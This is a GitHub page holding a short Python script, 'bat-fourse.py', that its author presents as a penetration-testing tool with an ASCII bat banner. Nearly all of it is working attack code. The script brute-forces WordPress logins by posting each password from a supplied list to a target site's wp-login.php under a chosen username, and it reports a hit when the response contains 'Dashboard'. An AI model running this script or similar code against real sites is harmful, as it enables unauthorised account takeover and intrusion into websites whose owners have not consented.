-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbat-fourse.py
73 lines (71 loc) · 3.03 KB
/
bat-fourse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python3
from requests import post
from optparse import OptionParser
from sys import platform
if platform in ["linux","linux2"]:
W = '\033[0m'
F = '\033[92m'
N = '\033[91m'
O = '\033[93m'
else:
W = F = N = O = ''
parser = OptionParser(F+'''
Bat-Force Attack
This tool built to penetration testing
by useing brute-force attack on Word press sites
to use the tool U should do that
bat-force.py -u http://www.exampel.com -p passwordlist.txt -a admin username''')
print(O+''' * * * *
*** ********** ***
***** ********** *****
******* ********** *******
********** ************ **********
****************************************************
******************************************************
********************************************************
********************************************************
********************************************************
******************************************************
******** ************************ ********
******* * ********* * *******
****** ******* ******
***** ***** *****
*** *** ***
** * **
Welcome in Bat-Force Attack
''')
print(F+'''
######################################################
[ #Developed_by_Mo0Ssaa ]
[ Twitter:https://twitter.com/AhmedMosaa18 ]
[ E-mail:[email protected] ]
[ Facebook:https://www.facebook.com/Ahmed.R.Mosaa404 ]
[ Github:https://github.com/mosaa404 ]
#######################################################''')
parser.add_option('-u','--url',dest='url',help='Enter target url')
parser.add_option('-p','--pass',dest='pwd',help='Enter the password list')
parser.add_option('-a','--admin',dest='admin',help='Enter the username',default='admin')
(options,args) = parser.parse_args()
print(options.url)
try:
if options.url[len(options.url)-1] == 'p' and options.url[0] == 'h':
pass
elif options.url[len(options.url)-1] == 'p' and options.url[0] != 'h':
options.url='http://'+options.url
elif options.url[len(options.url)-1] != 'p' and options.url[0] == 'h':
options.url=options.url+'/wp-login.php'
elif options.url[0] == 'w' and options.url[len(options.url)-1] != 'p':
options.url = options.url[4:]
options.url='http://'+options.url+'/wp-login.php'
else:
options.url='http://'+options.url+'/wp-login.php'
with open(options.pwd,mode='r') as f:
for pwd in f:
pwd=pwd.strip()
Post = str(post(options.url,data={'log':options.admin,'pwd':pwd,'wp-submit':'submit'}).content)
if 'Dashboard' in Post:
print(F+'##########\n[+]found --> '+'The user is '+options.admin+' : '+' and password is '+pwd+'\n##########');break
else:
print(N+'[-]Not found --> '+'The user is '+options.admin+' : '+' and password is '+pwd)
except:
print(parser)